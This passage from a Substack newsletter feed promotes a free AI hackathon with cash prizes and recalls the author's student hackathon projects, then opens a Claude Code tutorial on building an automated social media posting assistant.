type="image/jpeg"/><content:encoded><![CDATA[<p>Come join my <a href="https://www.skool.com/hackathon">AI Hackathon</a>, a 72-hour building sprint where you create a real product from scratch using AI. </p><p>NO RULES!</p><p>100% FREE :)</p><p>Awesome opportunity to win $6k in cash prizes, meet hundreds of AI builders, and build your app from scratch.</p><div class="captioned-button-wrap" data-attrs="{&quot;url&quot;:&quot;https://www.sabrina.dev/p/win-6000-at-ai-hackathon-march-2026?utm_source=substack&utm_medium=email&utm_content=share&action=share&quot;,&quot;text&quot;:&quot;Share&quot;}" data-component-name="CaptionedButtonToDOM"><div class="preamble"><p class="cta-caption">Spread the word!</p></div><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.sabrina.dev/p/win-6000-at-ai-hackathon-march-2026?utm_source=substack&utm_medium=email&utm_content=share&action=share&quot;,&quot;text&quot;:&quot;Share&quot;}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.sabrina.dev/p/win-6000-at-ai-hackathon-march-2026?utm_source=substack&utm_medium=email&utm_content=share&action=share"><span>Share</span></a></p></div><h2>Why Hackathons?</h2><p>I did my very first hackathon in 2012.</p><p>They were a brand new thing at the time. </p><p>Me + my boyfriend (now husband) would drive from Berkeley (where we were college students) to San Francisco or San Jose to compete. We met other kids flying in from the East coast to participate.</p><p>We won prizes in several big ones.</p><p>MOST IMPORTANTLY:</p><blockquote><p><strong>Hackathons jumpstarted our crazy adventure into startups, building, and entrepreneurship. </strong></p></blockquote><p>Here&#8217;s a guest post from a 2012 hackathon where we won 3rd place:</p><p><a href="https://blog.iron.io/guest-post-ironio-team-healthify/">https://blog.iron.io/guest-post-ironio-team-healthify/</a></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!shn4!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F68c45893-68d4-42ec-8dce-040ddfedff08_448x475.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!shn4!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F68c45893-68d4-42ec-8dce-040ddfedff08_448x475.png 424w, https://substackcdn.com/image/fetch/$s_!shn4!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F68c45893-68d4-42ec-8dce-040ddfedff08_448x475.png 848w, https://substackcdn.com/image/fetch/$s_!shn4!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F68c45893-68d4-42ec-8dce-040ddfedff08_448x475.png 1272w, https://substackcdn.com/image/fetch/$s_!shn4!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F68c45893-68d4-42ec-8dce-040ddfedff08_448x475.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!shn4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F68c45893-68d4-42ec-8dce-040ddfedff08_448x475.png" width="436" height="462.2767857142857" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/68c45893-68d4-42ec-8dce-040ddfedff08_448x475.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:475,&quot;width&quot;:448,&quot;resizeWidth&quot;:436,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;Guest Post: Iron.io + Team Healthify = Hacking Change in Healthcare - The  Iron.io Blog&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Guest Post: Iron.io + Team Healthify = Hacking Change in Healthcare - The  Iron.io Blog" title="Guest Post: Iron.io + Team Healthify = Hacking Change in Healthcare - The  Iron.io Blog" srcset="https://substackcdn.com/image/fetch/$s_!shn4!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F68c45893-68d4-42ec-8dce-040ddfedff08_448x475.png 424w, https://substackcdn.com/image/fetch/$s_!shn4!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F68c45893-68d4-42ec-8dce-040ddfedff08_448x475.png 848w, https://substackcdn.com/image/fetch/$s_!shn4!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F68c45893-68d4-42ec-8dce-040ddfedff08_448x475.png 1272w, https://substackcdn.com/image/fetch/$s_!shn4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F68c45893-68d4-42ec-8dce-040ddfedff08_448x475.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">2012 Iron hackathon - his hair is no longer dyed &amp; I no longer wear makeup/dresses &#128517;</figcaption></figure></div><p>... and here&#8217;s what we built that weekend: </p><div class="pullquote"><p>&#8220;In our vision and our final version of Healthify, the HTML5 mobile/web application pulls thousands of tweets from Twitter, applies machine learning algorithms and natural language processing to analyze the relevance of tweets to keywords in a customizable dictionary, geolocates those tweets deemed relevant, plots them on a Google Map with distinct markers for distinct keywords, and then displays an information window for each marker, revealing the text of each tweet for audiences to read, gawk at, gasp at... In under ten hours, Healthify processes over 100,000 tweets and determined that nearly 10,000 are relevant to bio-surveillance!&#8221;</p></div><p>In another big hackathon, called AngelHack, we built a quantum circuit simulator and called it Qurious. I did NOT have a very good answer to: <em>&#8220;What&#8217;s your business model?&#8221;</em> &#128517;</p><p>But we kept the same name for our 1st startup :)</p><p>And after the hackathon, we all toured Google HQ together!</p><p>Here&#8217;s another one&#8230;</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!gnQO!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4f65ef08-f6f9-443a-8c87-bd637592cfd2_602x504.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!gnQO!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4f65ef08-f6f9-443a-8c87-bd637592cfd2_602x504.png 424w, https://substackcdn.com/image/fetch/$s_!gnQO!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4f65ef08-f6f9-443a-8c87-bd637592cfd2_602x504.png 848w, https://substackcdn.com/image/fetch/$s_!gnQO!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4f65ef08-f6f9-443a-8c87-bd637592cfd2_602x504.png 1272w, https://substackcdn.com/image/fetch/$s_!gnQO!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4f65ef08-f6f9-443a-8c87-bd637592cfd2_602x504.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!gnQO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4f65ef08-f6f9-443a-8c87-bd637592cfd2_602x504.png" width="602" height="504" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/4f65ef08-f6f9-443a-8c87-bd637592cfd2_602x504.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:504,&quot;width&quot;:602,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:437263,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.sabrina.dev/i/188502075?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4f65ef08-f6f9-443a-8c87-bd637592cfd2_602x504.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!gnQO!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4f65ef08-f6f9-443a-8c87-bd637592cfd2_602x504.png 424w, https://substackcdn.com/image/fetch/$s_!gnQO!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4f65ef08-f6f9-443a-8c87-bd637592cfd2_602x504.png 848w, https://substackcdn.com/image/fetch/$s_!gnQO!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4f65ef08-f6f9-443a-8c87-bd637592cfd2_602x504.png 1272w, https://substackcdn.com/image/fetch/$s_!gnQO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4f65ef08-f6f9-443a-8c87-bd637592cfd2_602x504.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Bloomberg Hackfest - George is the guy in the middle</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!J9eA!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f5edac7-eae7-4a11-aa3d-e2f53f6641b6_1024x681.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!J9eA!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f5edac7-eae7-4a11-aa3d-e2f53f6641b6_1024x681.jpeg 424w, https://substackcdn.com/image/fetch/$s_!J9eA!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f5edac7-eae7-4a11-aa3d-e2f53f6641b6_1024x681.jpeg 848w, https://substackcdn.com/image/fetch/$s_!J9eA!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f5edac7-eae7-4a11-aa3d-e2f53f6641b6_1024x681.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!J9eA!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f5edac7-eae7-4a11-aa3d-e2f53f6641b6_1024x681.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!J9eA!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f5edac7-eae7-4a11-aa3d-e2f53f6641b6_1024x681.jpeg" width="598" height="397.693359375" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7f5edac7-eae7-4a11-aa3d-e2f53f6641b6_1024x681.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:681,&quot;width&quot;:1024,&quot;resizeWidth&quot;:598,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;UC Berkeley students Sabrina Atienza, left, and George Ramonov... News  Photo - Getty Images&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="UC Berkeley students Sabrina Atienza, left, and George Ramonov... News  Photo - Getty Images" title="UC Berkeley students Sabrina Atienza, left, and George Ramonov... News  Photo - Getty Images" srcset="https://substackcdn.com/image/fetch/$s_!J9eA!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f5edac7-eae7-4a11-aa3d-e2f53f6641b6_1024x681.jpeg 424w, https://substackcdn.com/image/fetch/$s_!J9eA!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f5edac7-eae7-4a11-aa3d-e2f53f6641b6_1024x681.jpeg 848w, https://substackcdn.com/image/fetch/$s_!J9eA!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f5edac7-eae7-4a11-aa3d-e2f53f6641b6_1024x681.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!J9eA!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f5edac7-eae7-4a11-aa3d-e2f53f6641b6_1024x681.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>2013 Berkeley x <a href="https://bigideascontest.org/2013/06/20/bloomberg-hackfest/">Bloomberg Hackfest write up</a>:</p><div class="pullquote"><p>Sabrina Atienza and George Ramonov, the students behind M3D (Mass Minable Medical Data), describe their project as &#8220;Google for Healthcare&#8221;&#8212; an intuitive and fast search engine for clinical and biomedical research. </p><p>In the midst of building a functional visual programming language and interface, the team stepped away to pitch their Big Idea in Bloomberg&#8217;s Pitch Roulette. A panel of investors and mentors broke down their business model, revenue potential, and options for building their idea into a successful business.</p><p>&#8220;We&#8217;re elevating M3D to the next level by iterating on the judges&#8217; feedback and connecting with potential stakeholders who approached us after the presentation,&#8221; [Sabrina] Atienza shared. &#8220;Right now, we&#8217;re in discussion with leading academic hospitals in the Bay Area to determine the best fit for our clinical pilot.&#8221;</p></div><p>My personal favorite hackathon was hosted by Box. </p><p>We built a tool called MortgageBlade after partnering with a realtor. We won a bunch of small prizes including a unicorn plushie Squishable (my 1st ever) which I kept for a decade, dragging it with me to each new apartment.</p><p>You can probably tell&#8230;</p><p>I&#8217;m a big fan of hackathons &#128513;</p><p>And with vibe coding democratizing coding, it&#8217;s crazy what you can build in 1 focused weekend.</p><p>Sign up here: <a href="https://www.skool.com/hackathon">https://www.skool.com/hackathon</a> (it&#8217;s free)</p><h2>The Schedule</h2><p>Mar 5th - <a href="https://www.skool.com/hackathon">Last day to sign up</a></p><p>Mar 6th &#8211; Kickoff Livestream + Build Day</p><p>Mar 7th &#8211; Build Day + Check-ins</p><p>Mar 8th &#8211; Submission Deadline</p><p>Mar 8th &#8211; Live Demo &amp; Winners</p><h2>Prizes</h2><ul><li><p>$3000 1st place</p></li><li><p>$2000 2nd place</p></li><li><p>$1000 3rd place</p></li></ul><p>Sponsored by me/<a href="https://www.Blotato.com">Blotato</a> and Marcin Teodoru &#129311;</p><p><strong>+ your project showcased to our audiences</strong></p><div><hr></div><div class="captioned-button-wrap" data-attrs="{&quot;url&quot;:&quot;https://www.sabrina.dev/p/win-6000-at-ai-hackathon-march-2026?utm_source=substack&utm_medium=email&utm_content=share&action=share&quot;,&quot;text&quot;:&quot;Share&quot;}" data-component-name="CaptionedButtonToDOM"><div class="preamble"><p class="cta-caption">If you LOVE this newsletter, please <strong>SHARE</strong> it to help teach more people for FREE!</p></div><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.sabrina.dev/p/win-6000-at-ai-hackathon-march-2026?utm_source=substack&utm_medium=email&utm_content=share&action=share&quot;,&quot;text&quot;:&quot;Share&quot;}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.sabrina.dev/p/win-6000-at-ai-hackathon-march-2026?utm_source=substack&utm_medium=email&utm_content=share&action=share"><span>Share</span></a></p></div><h2><strong>P.S. Need More Help? &#128075;</strong></h2><blockquote><p>1/ Free <em><strong><a href="https://www.sabrina.dev/p/start">AI courses</a></strong></em></p><p>2/ Free <em><strong><a href="https://prompts.sabrina.dev/">AI prompts</a></strong></em></p><p>3/ Free<strong> </strong><em><strong><a href="https://agents.sabrina.dev/">AI automations</a></strong></em></p><p>4/ Free <em><strong><a href="https://freevibecode.ai/">AI vibe coding</a></strong></em></p><p>5/ Ask me anything @ <em><strong><a href="https://www.sabrina.dev/p/livestream">Friday livestream</a></strong></em></p><p>6/ Free private community for <em><strong><a href="https://www.skool.com/women-building-ai-2577">Women Building AI</a></strong></em></p><p>7/ I built<em><strong> <a href="https://www.blotato.com/">Blotato</a> </strong></em>to grow 1M+ followers in 1 year</p></blockquote>]]></content:encoded></item><item><title><![CDATA[CLAUDE CODE FULL COURSE 🤯]]></title><description><![CDATA[Step-by-step tutorial to use Claude Code to build your own personalized AI social media manager, including skills, quality gate hooks, brand voice, subagents, and documentation.]]></description><link>https://www.sabrina.dev/p/claude-code-full-course-for-beginners</link><guid isPermaLink="false">https://www.sabrina.dev/p/claude-code-full-course-for-beginners</guid><dc:creator><![CDATA[Sabrina Ramonov 🍄]]></dc:creator><pubDate>Tue, 17 Feb 2026 22:40:26 GMT</pubDate><enclosure url="https://substackcdn.com/image/youtube/w_728,c_limit/fYX6hHC9FhQ" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote><p>In case you missed these freebies:</p><ul><li><p>Win $6k at my Vibe Code Hackathon! (<a href="https://www.skool.com/hackathon">signup</a>)</p></li><li><p>If I had to make $1M from $0 (<a href="https://youtu.be/WvsWbgE_kWg">step by step</a>)</p></li><li><p>How to use Gemini AI in Google Sheets (<a href="https://youtu.be/0v7uZHVfGRk">tutorial</a>)</p></li><li><p>How I Code Profitable Apps SOLO (<a href="https://www.sabrina.dev/p/livestream">Feb 20 livestream</a>)</p></li></ul></blockquote><p>Welcome to my&#8230;</p><p><strong>Ultimate Claude Code FULL course!</strong></p><p>From zero to hero; first time setup to 10X productivity.</p><p>We&#8217;ll walk through building your PERSONALIZED AI Marketing Officer with Claude Code. </p><div id="youtube2-fYX6hHC9FhQ" class="youtube-wrap" data-attrs="{&quot;videoId&quot;:&quot;fYX6hHC9FhQ&quot;,&quot;startTime&quot;:null,&quot;endTime&quot;:null}" data-component-name="Youtube2ToDOM"><div class="youtube-inner"><iframe src="https://www.youtube-nocookie.com/embed/fYX6hHC9FhQ?rel=0&amp;autoplay=0&amp;showinfo=0&amp;enablejsapi=0" frameborder="0" loading="lazy" gesture="media" allow="autoplay; fullscreen" allowautoplay="true" allowfullscreen="true" width="728" height="409"></iframe></div></div><p>You have an idea. You want to post to Twitter, LinkedIn, Instagram, and Facebook, each adapted for the platform, each with a visual, matching your brand voice. And you want it done in 30 seconds!</p><p>You&#8217;ll create 2 skills, a quality gate hook, brand voice guidelines, and a multi-platform publish pipeline utilizing parallel subagents.</p><p>Everything on your computer.</p><p>Everything tailored to YOUR WORKFLOW.</p><p>By the end, you&#8217;ll type <code>1 sentence</code> and Claude will research your topic, draft a week of content, create visuals, show you the plan, wait for approval, and schedule everything to your socials.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!HVPw!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bbb7d69-f861-43de-a686-056218b68b7b_940x684.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!HVPw!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bbb7d69-f861-43de-a686-056218b68b7b_940x684.png 424w, https://substackcdn.com/image/fetch/$s_!HVPw!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bbb7d69-f861-43de-a686-056218b68b7b_940x684.png 848w, https://substackcdn.com/image/fetch/$s_!HVPw!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bbb7d69-f861-43de-a686-056218b68b7b_940x684.png 1272w, https://substackcdn.com/image/fetch/$s_!HVPw!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bbb7d69-f861-43de-a686-056218b68b7b_940x684.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!HVPw!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bbb7d69-f861-43de-a686-056218b68b7b_940x684.png" width="940" height="684" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5bbb7d69-f861-43de-a686-056218b68b7b_940x684.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:684,&quot;width&quot;:940,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:157486,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.sabrina.dev/i/187855176?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bbb7d69-f861-43de-a686-056218b68b7b_940x684.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!HVPw!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bbb7d69-f861-43de-a686-056218b68b7b_940x684.png 424w, https://substackcdn.com/image/fetch/$s_!HVPw!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bbb7d69-f861-43de-a686-056218b68b7b_940x684.png 848w, https://substackcdn.com/image/fetch/$s_!HVPw!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bbb7d69-f861-43de-a686-056218b68b7b_940x684.png 1272w, https://substackcdn.com/image/fetch/$s_!HVPw!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bbb7d69-f861-43de-a686-056218b68b7b_940x684.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" 